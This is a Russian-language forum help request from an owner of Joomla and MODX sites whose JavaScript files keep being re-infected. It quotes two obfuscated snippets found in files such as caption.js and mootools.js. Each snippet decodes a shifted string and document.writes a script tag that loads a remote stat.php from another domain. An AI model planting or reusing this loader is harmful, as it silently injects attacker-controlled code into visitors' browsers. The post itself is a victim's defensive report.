Help! Регулярно заражаются .js файлы Joomla и Modx

Приветствую форумчан!

Уже довольно продолжительное время на моих сайтах заражаются js файлы. Причем, после удаления этой бяки, примерно через сутки она появляется вновь.

В результате загрузки моих сайтов, можно наблюдать подгрузку чужого сайта. На данный момент идут подгрузки на salon.rudavi.com.ua и vesnina-group.kharkov.ua (на одном сайте подгружается только один сайт).

Что имею:

- Часть сайтов на VPS (разнесены по разным аккаунтам) - 1 сайт на Modx, остальные на Joomla 1.5.26

- Другая часть на шареде - 1 сайт на Modx, остальные на Joomla 1.5.26

- доступ SHH

Что делал:

- выкачивал сайты на комп

- сканировал Айболитом, естественно удалял иногда шеллы, но потом заражение .js заново появлялось

- заливал на сервер, менял доступы фтп, админок, баз

- обновлял joomla до 1.5.26

На компе стоит лицензия Касперского. Думал, что через комп заливают, но на других аккаунтах хостингов нет вредоносного кода.

Вот примеры скриптов:

№1

//j3PctUeLHN2B

r=0;rx='Code';rv='wri';while(r<118)document[rv+'te'](String['fromChar'+rx]('=tdsjqu!tsd>#iuuq;00tbmpo/svebwj/dpn/vb0benjojtusbups0dpnqpofout0dpn`gjoefs0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+rx+'At'](r++)-1))

//kHWRu0eFUdue

№2

//iG7TsEaAU4KQsAdNf34dlan

o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

//kHWRu0KaHMaRsUMwLnzNE2

Ранее коды содержались между <!-- js-tools -->. Сейчас без <!-- js-tools -->.

Вот примеры путей заражение с шареда (поиск с помощью команды grep):

CMS ModX:

/www/site.ru/template/js/scrol.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

CMS Joomla 1.5.26:
./www/site.ru/media/zengridframework/js/jquery/noconflict.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/templates/tab/js/domready_fix.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/media/system/js/caption.js:r=0;rx='Code';rv='wri';while(r<118)document[rv+'te'](String['fromChar'+rx]('=tdsjqu!tsd>#iuuq;00tbmpo/svebwj/dpn/vb0benjojtusbups0dpnqpofout0dpn`gjoefs0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+rx+'At'](r++)-1))

./www/site.ru/media/system/js/mootools.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/media/system/js/caption.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))

./www/site.ru/plugins/system/yvbbcode/default.js:o=0;ox='Code';ov='wri';while(o<103)document[ov+'te'](String['fromChar'+ox]('=tdsjqu!tsd>#iuuq;00wftojob.hspvq/libslpw/vb0xq.benjo0jnbhft0tubu/qiq#!uzqf>#ufyu0kbwbtdsjqu#?=0tdsjqu?'['char'+ox+'At'](o++)-1))